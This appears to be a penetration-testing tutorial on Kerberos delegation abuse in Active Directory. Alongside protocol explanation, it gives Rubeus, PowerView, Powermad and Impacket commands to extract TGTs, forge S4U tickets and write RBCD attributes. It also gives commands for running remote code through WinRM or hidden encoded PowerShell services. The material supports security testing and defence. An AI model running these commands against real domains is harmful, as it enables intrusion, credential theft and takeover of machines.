Exploitation - Kerberos delegations
Overview
Kerberos is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, Kerberos implements two type of tickets, issued by two distinct services of the Key Distribution Center (KDC):
Ticket-Granting Ticket (TGT), obtained from theAuthentication Service (AS).service tickets, obtained from theTicket-Granting Service (TGS).
A valid TGT is necessary in order to request service tickets, which in turn grant access to service accounts (user or machine domain accounts that have a ServicePrincipalName (SPN)).
Unconstrained, constrained and resource-based constrained delegations
Three types of delegation are implemented in the (Microsoft Active Directory) Kerberos protocol:
unconstrained delegation,constrained delegation,resource-based constrained delegation (RBCD).
Service accounts that are trusted for unconstrained delegation, i.e service accounts with the ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag being positioned in their User-Account-Control attribute, can fully act on behalf of other domain users. Service tickets received by such services will contain a copy of the TGT of the user accessing the service. The received TGTs can be extracted from the LSASS process of the machine running the service / receiving the authentication, and further used to authenticate to any domain resources.
Service accounts that are trusted for constrained delegation, i.e service accounts with a non-empty msDS-AllowedToDelegateTo attribute, can impersonate other domain users to configured services (in the service account 's msDS-AllowedToDelegateTo attribute). Constrained delegations are implemented into the Kerberos protocol by Microsoft through the Service-for-User-to-Proxy (S4U2proxy) extension. S4U2proxy allows service accounts to request service tickets to the KDC (TGS-REQ) on behalf of other users by arbitrarily specifying the name of the user the service ticket should be emitted to. In order to do so, the service account must join, in the req-body.additional-tickets field of the TGS-REQ request, a service ticket marked as forwardable from the specified user. Such service ticket may be received from a delegable user as part of the Kerberos authentication process to the "proxifying" service or directly requested by the "proxifying" service through a S4U2self request (if the service is allowed to do so). More details on the Kerberos S4U2self extension are provided below.
The resource-based constrained delegation, introduced in Windows Server 2012, deports the trust to the final resources. Instead of trusting a service account to impersonate other users to destination services, service accounts can specifically authorize other services to authenticate using delegated service tickets. The authorized services are identified, by their SPN, in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the final services. Similarly to constrained delegation, the service accessing the final service will request a service ticket to the KDC on behalf of a domain user through a S4U2proxy request. Except that in a resource-based constrained delegation scenario, the "proxifying" service can provide a standard service ticket to the KDC and thus does not have to be in possession of a service ticket marked as forwardable from the specified user.
In summary, the services a service account can request S4U2proxy service tickets for are restricted by the KDC to the ones either:
[constrained delegation]configured, using theirSPNs, in the requesting service account'smsDS-AllowedToDelegateToattribute.[resource-based constrained delegation]having in theirmsDS-AllowedToActOnBehalfOfOtherIdentityattribute theSPNof the requesting service.
Service-for-User-to-Self (S4U2self)
In order to provide protocol transition, Microsoft implemented the S4U2self extension into the Kerberos protocol. This extension makes Kerberos delegation possible for domain users accessing a service through other Windows authentication protocols, such as the NT Lan Manager (NTLM) protocol. As a service ticket is required for Kerberos constrained and resource-based constrained delegation (both leveraging the Kerberos S4U2proxy extension), the S4U2self allows a service account to obtain a service ticket for itself of an arbitrarily specified user. The user is specified in the of the PA-FOR-USER field in the preauthentication data of the KRB_TGS_REQ request to the KDC.
Any service account can request service tickets for itself through the S4U2self extension. However, only service accounts configured as being able to "use any authentication protocol", which correspond to the ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION / TRUSTED_TO_AUTH_FOR_DELEGATION flag being positioned in the service accounts' User-Account-Control attribute, will receive service tickets marked as forwardable.
The S4U2self service tickets contain, in its Privilege Attribute Certificate (PAC), the authorization data of the requested user and can be used:
to impersonate the user locally on the system executing the service if the service account has the
SeTcbPrivilegeprivilege on the local system.through a
constrained delegationto impersonate the user on remote services, using subsequentS4U2proxyrequests, if theS4U2selfservice ticketis marked asforwardable. TheS4U2selfservice ticketcan only be used to makeS4U2proxyrequests for the services defined in the receiving service account'smsDS-AllowedToDelegateToattribute. TheS4U2proxyrequest will result in the retrieval of aservice ticketto the remote service impersonating another user identity.through a
resource-based constrained delegationto impersonate the user on remote services, using subsequentS4U2proxyrequests, even if theS4U2selfservice ticketis not marked asforwardable. Indeed, in aresource-based constrained delegationscenario,S4U2Proxyrequests will grantservice ticketsfor services even if theservice ticketprovided to theKDCis non-forwardable. TheS4U2selfservice ticketcan only be used to makeS4U2proxyrequests for the services that define in theirmsDS-AllowedToActOnBehalfOfOtherIdentityattribute the service emitting theS4U2selfservice ticket.
Resource-based constrained delegations for machines takeover
As previously established (from original findings made by Elad Shamir):
all service accounts may request non-
forwardableS4U2selfservice ticketsimpersonating any domain user.Non-
forwardableS4U2selfservice ticketscan be used in aresource-based constrained delegationto requestS4U2Proxyservice ticketsand ultimately authenticate to the "trusting" service on behalf of any domain user.
In consequence of those two facts, the control of a service or machine account defined in a machine account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, or the ACL right to write this attribute, can lead to remote code execution on the machine.
Indeed, Windows systems integrated to an Active Directory domain expose a number of services which can be leveraged to remotely access and execute commands, such as:
PsExec-like
file system access
CIFS
Remote execution of commands using PsExec-like utilities or full access to the machine file system.
Windows - Lateral movements
[L7] 445 - SMB
WMI
HOST
RPCSS
Remote execution of commands through Windows Management Instrumentation (WMI) (Win32_Process class for example).
Windows - Lateral movements
WinRM
Always necessary:
HOST
HTTP
Host dependant:
WSMAN
RPCSS
PowerShell remoting through Windows Remote Management (WinRM).
Windows - Lateral movements
[L7] 5985-5968 - WSMan
Windows services
HOST
Remote creation and/or execution of Windows services.
Windows - Lateral movements
Refer to the [ActiveDirectory] Kerberos Silver Tickets note for more information on machine services that can be leveraged for remote access and commands execution.
Accounts that cannot be delegated
Domain users can be protected from Kerberos delegation by either being:
configured as non-delegable (
"Account is sensitive and cannot be delegated"), which correspond to theADS_UF_NOT_DELEGATEDflag being positioned in a user'User-Account-Controlattribute.members of the
Protected Usersdomain group.
Identification of domain accounts that can be delegated
The PowerShell cmdlets below list all domain accounts that are not tagged as non-delegable nor are direct member of the Protected Users domain group.
Get-ADUser -Filter * -Properties AccountNotDelegated,MemberOf | Where-Object {($_.AccountNotDelegated -eq $False) -and -not ($_.Memberof -match "Protected Users")}
Get-DomainUser -Properties * | Where-Object {-not ($_.useraccountcontrol -match "NOT_DELEGATED") -and -not ($_.memberof -match "Protected Users")} | FThe PowerShell script below can be used to list the members of the privileged domain groups that are delegable (with out the ADS_UF_NOT_DELEGATED flag being set in their User-Account-Control attribute nor are direct or indirect member of the Protected Users domain group).
# Targeted privileged groups: "Domain Admins" (-512), "Enterprise Admins" (-519), "Administrators" (-544), "Backup Operators" (-551), "DNS Admins" (> 1000), "Print Operators" (-550), "Server Operators" (-549), "Account Operators" (-548), "Schema Admins" (-518)
$Users = Get-ADUser -Filter {AccountNotDelegated -eq $False}
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive
If ($ProtectUsers.Count -ne 0) {
$DelegableUsers = Compare-Object $Users $ProtectedUsers | Select-Object -Expand InputObject | Sort-Object | Get-Unique
}
Else {
$DelegableUsers = $Users
}
$DomainSID = (Get-ADDomain).DomainSID
$DomainAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)
$EnterpriseAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $DomainSID)
$AdministratorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)
$BackupOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)
$DnsAdminsSID = (Get-ADGroup -Identity "DnsAdmins").SID
$PrintOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)
$ServerOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)
$AccountOperatorsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)
$SchemaAdminsSID = New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)
$PriviligedUsers = Get-ADGroup -Filter {(SID -eq $DomainAdminsSid) -or (SID -eq $EnterpriseAdminsSID) -or (SID -eq $AdministratorsSID) -or (SID -eq $BackupOperatorsSID) -or (SID -eq $DnsAdminsSID) -or (SID -eq $PrintOperatorsSID) -or (SID -eq $ServerOperatorsSID) -or (SID -eq $AccountOperatorsSID) -or (SID -eq $SchemaAdminsSID)} | Get-ADGroupMember -Recursive | Sort-Object | Get-Unique
$DelegablePriviligedUsers = @()
foreach ($DelegableUser in $DelegableUsers){
foreach ($PriviligedUser in $PriviligedUsers){
If ($DelegableUser.SamAccountName -eq $PriviligedUser.SamAccountName) {
$DelegablePriviligedUsers += $DelegableUser
}
}
}
$DelegablePriviligedUsersUnconstrained delegation exploit
Unconstrained delegation service accounts identification
The PowerShell Active-Directory module and Powerview can be used to enumerate service accounts trusted for unconstrained delegation (accounts having the ADS_UF_TRUSTED_FOR_DELEGATION flag configured in their User-Account-Control attribute).
# Computer machine accounts
Get-DomainComputer -Unconstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
# User service accounts
Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
Get-ADUser -Filter {TrustedForDelegation -eq $True}
Get-ADUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"Kerberos authentication capture
Multiples techniques and procedures may be used to obtain a Kerberos authentication from a remote system or user:
LLMNRandNBT-NSpoisoningDNSpoisoning through aIPv6rogueDHCPserverMSRPCMS-RPRNSpoolerService"printer bug"Through the
Exchange Web Services (EWS)APIRemote network share access from a
Microsoft SQL Server (MSSQL)databaseUniversal Naming Convention (UNC)path injection in phishing emails or documents on network sharesetc.
Refer to the [ActiveDirectory] NTLM capture and relay note for more information on how to conduct these techniques. Note that in order to receive Kerberos authentications, instead of NTLM authentications, the authentication requests must be addressed to a service account (requiring a SPN that can be resolved into an IP by the remote system). In the present case, the SPN of the service account trusted for unconstrained delegation must be specified.
If the SpoolerService is exposed on a Domain Controller, an authentication request can be triggered from the Domain Controller machine account. As Domain Controllers have the necessary rights to make replication requests through the Directory Replication Service API (DRSUAPI) API, a TGT of a Domain Controller machine account can be used to conduct DCSync attacks. Refer to the [ActiveDirectory] ntds.dit dumping note for more information on the DCSync attack.
If Exchange Servers have not been patched with the February 2019 Quarterly Exchange Updates, the EWS API can be leveraged to trigger a request from an Exchange Server machine account. With out the patch being applied, Exchange Server machine accounts have, by default, high privileges in the domain. The Exchange-AD-Privesc GitHub repository lists the different attack paths that leverage an Exchange Server machine account to obtain Domain Admins privileges: https://github.com/gdedrouas/Exchange-AD-Privesc.
TGTs retrieval and usage
The monitor module of the Rubeus C# utility can be used to extract the TGTs stored in memory (elevated privileges are required on the system).
The monitor module will periodically extract all TGTs and display any newly captured TGTs.
# The TGTs will be extracted every 60 seconds by default.
Rubeus.exe monitor
Rubeus.exe monitor /interval:<INTERVAL_IN_SECONDS> /filteruser:<USERNAME>Refer to the [ActiveDirectory] Kerberos tickets usage for more information on how to make use of the obtained TGT.
Constrained delegation exploit
A principal trusted for constrained delegation can impersonate any user (that can be delegated) to the services.
Accounts that have the ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION / TRUSTED_TO_AUTH_FOR_DELEGATION flag being positioned in their User-Account-Control's attribute can be enumerated using an LDAP filter.
Enumeration of the msDS-AllowedToDelegateTo attribute
# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation.
Get-ADObject -LDAPFilter "(msDS-AllowedToDelegateTo=*)" -Properties msDS-AllowedToDelegateTo
# Retrieves the value of the msDS-AllowedToDelegateTo attribute of all objects in the domain that are trusted for constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION flag).
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo
# With formation, from https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=16777216)(msDS-AllowedToDelegateTo=*))" -Properties msDS-AllowedToDelegateTo | ForEach-Object {
[PSCustomObject]@{
DistinguishedName = $_.DistinguishedName
'msDS-AllowedToDelegateTo' = $_.'msDS-AllowedToDelegateTo'
}
}Exploitation of constrained delegation
Rubeus's s4u module or impackets's getST.py Python script can be used to make S4U2self and S4U2proxy requests to retrieve a service ticket to the constrained service impersonating the specified user.
Even if delegation rights are only granted on a specific SPN, alternative services can be specified in order to retrieve service tickets for others services supported by the host, effectively bypassing the limitation. For instance, if a principal is only allowed to delegate to the time service of an host (time\<host>), service tickets can still be requested for the HOST or CIFS SPN of the host, leading to remote code execution.
Refer to the S4U service tickets and usage section below (common with resource-based constrained delegation exploitation) for more information on how to request and use the aforementioned tools.
Resource-based constrained delegation exploit
Enumeration of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute
The RSAT ActiveDirectory module's provide PowerShell cmdlets that can be used to retrieve the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified, or all, domain object(s):
# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
Get-ADUser -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADUser -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value
Get-ADComputer -Identity <IDENTITY> -Properties PrincipalsAllowedToDelegateToAccount
(Get-ADComputer -Identity <IDENTITY> -Properties msds-allowedtoactonbehalfofotheridentity).'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value
# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain with formatting.
# From https://alsid.com/fr/node/143.
Get-ADObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
[PSCustomObject]@{
DistinguishedName = $_.DistinguishedName
'msDS-AllowedToActOnBehalfOfOtherIdentity' = $_.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access.IdentityReference.Value
}
}Similarly, PowerView also provides PowerShell cmdlets that can be used to the same extent:
# Retrieves the raw value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified user / machine account.
$RawBytes = Get-DomainUser "<USERNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity
$RawBytes = Get-DomainComputer "<MACHINE_HOSTNAME>" -Properties msds-allowedtoactonbehalfofotheridentity | Select -Expand msds-allowedtoactonbehalfofotheridentity
# Converts the retrieved attribute from IADsSecurityDescriptor COM object to a more human readable format using the RawSecurityDescriptor class.
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
# Retrieves the value of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of all objects in the domain.
Get-DomainObject -LDAPFilter "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" -Properties Name,DistinguishedName,msDS-AllowedToActOnBehalfOfOtherIdentity | ForEach-Object {
$PSCustomObjects = @()
$PSCustomObjects += ((New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $_.'msds-allowedtoactonbehalfofotheridentity', 0)) | Foreach-Object {$_.DiscretionaryAcl[0]}
$PSCustomObjects | Add-Member -Name 'AppliedToName' -Type NoteProperty -Value $_.Name
$PSCustomObjects | Add-Member -Name 'AppliedToDistinguishedName' -Type NoteProperty -Value $_.DistinguishedName
$PSCustomObjects
}[Optional - For ACL exploit] Creation of a controlled service account
As the msDS-AllowedToActOnBehalfOfOtherIdentity attribute must refer to a valid SPN (defined in the domain and DNS-resolvable), an account defining such SPN must be controlled in order to request S4U2self service tickets for the targeted service.
As machine accounts register various SPNs (HOST\<HOSTNAME>, CIFS\<HOSTNAME>, etc.) and, by default, any domain users may add up to 10 machine accounts to a domain, a machine account may be added to the domain using a compromised low-privileges user to meet the attack prerequisites. The number of machine accounts any user may add in the domain is controlled by the ms-DS-MachineAccountQuota attribute of the domain root object.
The RSAT ActiveDirectory module's Get-ADObject and PowerView's Get-DomainObject PowerShell cmdlets can be used to retrieve the value of the current or specified domain's ms-DS-MachineAccountQuota attribute:
Get-ADObject ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ADObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <DOMAIN_ROOT_OBJECT> -Properties ms-DS-MachineAccountQuota
Get-DomainObject <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuota
Get-DomainObject -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> <DOMAIN | DOMAIN_ROOT_OBJECT> -Properties Name,DistinguishedName,ObjectSID,ms-DS-MachineAccountQuotaThe Powermad's New-MachineAccount PowerShell cmdlet can be used to add a machine account into the current or specified Active Directory domain:
New-MachineAccount -Verbose -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)
New-MachineAccount -Verbose -DomainController <DC_IP> -Credential <PSCredential> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)[Optional - For ACL exploit] Modification of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute
In order to conduct the modification, the right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the domain object is required. This right can be granted:
specifically (
WriteProperty/GenericWriteonGUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79),indirectly through ownership of the object,
directly and indirectly through broader control rights on the object (
GenericAll,WriteOwner,WriteDACL,WriteProperty/GenericWriteon all attributes).
Refer to the [ActiveDirectory] ACL exploiting note for more information on how to enumerate and, if necessary, exploit broader control rights to obtain the right to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
The RSAT ActiveDirectory module's Get-ADComputer and Set-ADComputer PowerShell cmdlets can be used to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the specified service or machine account:
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
# ADPRINCIPAL: Get-ADUser -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY> / Get-ADComputer -Identity <CONTROLLED_MACHINE_IDENTITY>
Set-ADUser -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADUser -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADComputer -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADComputer -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>Alternatively, the PowerView's Get-DomainComputer and Set-DomainObject PowerShell cmdlets or Impacket's rbcd.py may be used as well:
# PowerView.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName.
$ControlledObjectSid = Get-DomainObject -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY | CONTROLLED_MACHINE_ACCOUNT_IDENTITY> -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ControlledObjectSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainObject <TARGET_USER_IDENTITY | TARGET_COMPUTER_IDENTITY> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Impacket.
# Supported 'action': read, write, remove, flush.
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> [<DOMAIN>/]<USERNAME>[:<TARGET_COMPUTER_ACCOUNT_PASSWORD | PASSWORD>]@<DC_HOSTNAME | DC_IP>
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -hashes <:TARGET_COMPUTER_ACCOUNT_NT_HASH | NT_HASH> [<DOMAIN>/]<USERNAME>@<DC_HOSTNAME | DC_IP>
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH_TARGET_COMPUTER_ACCOUNT>
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -k -no-pass -dc-ip <DC_IP> <DC_HOSTNAME>Exploitation process of resource-based constrained delegation
Rubeus's s4u module or impackets's getST.py Python script can be used to make S4U2self and S4U2proxy requests to retrieve a service ticket impersonating the specified user to the service allowing delegation (through resource-based constrained delegation).
For machine takeover, the targeted service(s) can be specified through their respective SPN in the form of <SERVICE_NAME>/<MACHINE_HOSTNAME> or <SERVICE_NAME>/<MACHINE_FQDN>.
Refer to the S4U service tickets and usage section below (common with resource-based constrained delegation exploitation) for more information on how to request and use the aforementioned tools (notably for machine takeover).
S4U service tickets and usage
S4U service tickets request
Rubeus's s4u module or impackets's getST.py Python script can be used to request S4U2self service tickets for the targeted service(s). Knowledge of a secret (NTLM hash or Kerberos AES 128 / 256 bits keys) or a Kerberos TGT of the principal trusted for delegation (constrained or resource-based) is required and must first be retrieved before S4U requests can be made.
If only the password of the user is known, the NTLM hash / RC4 key or the AES keys can be derived from the password. The DSInternals PowerShell ConvertTo-NTHash and ConvertTo-KerberosKey cmdlets or the Rubeus's hash module can be used to this end. Additionally, if only the security context of an user has been obtained (i.e no knowledge of any of the user's credentials), a TGT for the user can be obtained using the Rubeus's tgtdeleg module. Refer to the [ActiveDirectory] Kerberos tickets usage note (Plaintext password to RC4 / AES keys or TGT Kerberos tickets requests sections) for more information.
The following commands can be used to requests S4U service ticket(s) for the specified service(s) under the identity of the provided service account.
Note that the received S4U2self service ticket(s) will be automatically injected in (and overwrite) the current logon session by Rubeus if the /ptt option is specified.
# Example of <SPN> for Rubeus's msdsspn or getST.py: <SERVICE>/<DOMAIN_FQDN> or host/<HOSTNAME> or host/<HOSTNAME_FQDN>.
# Rubeus.exe.
# Example of <SERVICE_NAME | SERVICES_NAME> for Rubeus' altservice: host,cifs,http,wsman,rpcss.
# Request made using a known secret of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt
# Request made using a valid TGT of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /ticket:<TGT> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN>/<DOMAIN_FQDN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt
# Impacket's getST.py.
# Request made using a known secret of the principal trusted for delegation.
getST.py -spn <SPN> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'S4U service tickets usage for machine takeover
From a Windows attacking machine, WinRM can be used to remotely execute PowerShell commands if the service is exposed on the target system (port TCP 5985 / 5986). PowerShell remoting requires service tickets for the HOST and HTTP services, and may, depending on the targeted host, requires tickets for the WSMAN and / or RPCSS services as well.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /altservice:http,wsman,rpcss
Enter-PSSession -ComputerName <TARGET_SYSTEM_HOSTNAME>Another reliable way to leverage the s4u service ticket for remote code execution is based on the creation and execution of Windows services. This technique presents the advantage of being usable from both Windows and Linux operating systems. Indeed, most Linux utilities can only make use of a single Kerberos tickets at a time and only one service ticket for the HOST SPN is required to remotely create and start services.
# <SERVICE_COMMAND> example with a Windows binary: <cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>
# Windows.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /ptt
sc \\<TARGET_SYSTEM_HOSTNAME> create <SERVICE_NAME> binpath= "<SERVICE_COMMAND>"
sc \\<TARGET_SYSTEM_HOSTNAME> start <SERVICE_NAME>
# Linux.
# Alternatively, Rubeus's b64 encoded service ticket can be exported, decoded and converted from KRB_CRED to ccache format. For more information refer to the "[ActiveDirectory] Kerberos tickets usage" note.
getST.py -spn host/<FQDN_TARGET_SYSTEM> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> <start | delete> -name <SERVICE_NAME>Additional information
Refer to:
the
[ActiveDirectory] Kerberos tickets usagenote for more information on techniques and tools to manipulate and use the receivedS4U2selfservice ticketson both Windows and Linux systems.the
[ActiveDirectory] Kerberos Silver Ticketsnote for more information on the exploitable machine services and their associatedSPN.the
[Windows] Lateral movementsnote for more information on how to move laterally usingservice tickets.the
[General] Shellsnote for more information on how to obtain a shell through the service execution (nc.exeone-liner, PowerShell reverse shell, etc.)
References
https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets_dauthentification_pisode_ii__kerberos_cont/SSTIC2014-Article-secrets_dauthentification_pisode_ii__kerberos_contre-attaque-bordes_2.pdf https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html https://adsecurity.org/?p=1667 https://www.synetis.com/risques-associes-a-la-delegation-kerberos/ https://blog.stealthbits.com/unconstrained-delegation-permissions/ https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/ https://docs.microsoft.com/fr-fr/dotnet/api/system.security.principal.wellknownsidtype?view=dotnet-plat-ext-3.1 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1 https://beta.hackndo.com/unconstrained-delegation-attack/#rappels--unconstrained-delegation https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ https://chryzsh.github.io/relaying-delegation/ https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/ https://alsid.com/fr/node/143 https://alsid.com/fr/node/144 https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation https://stackoverflow.com/questions/57171940/accessing-parsing-msds-allowedtoactonbehalfofotheridentity-ad-property-in-c-sh https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
Last updated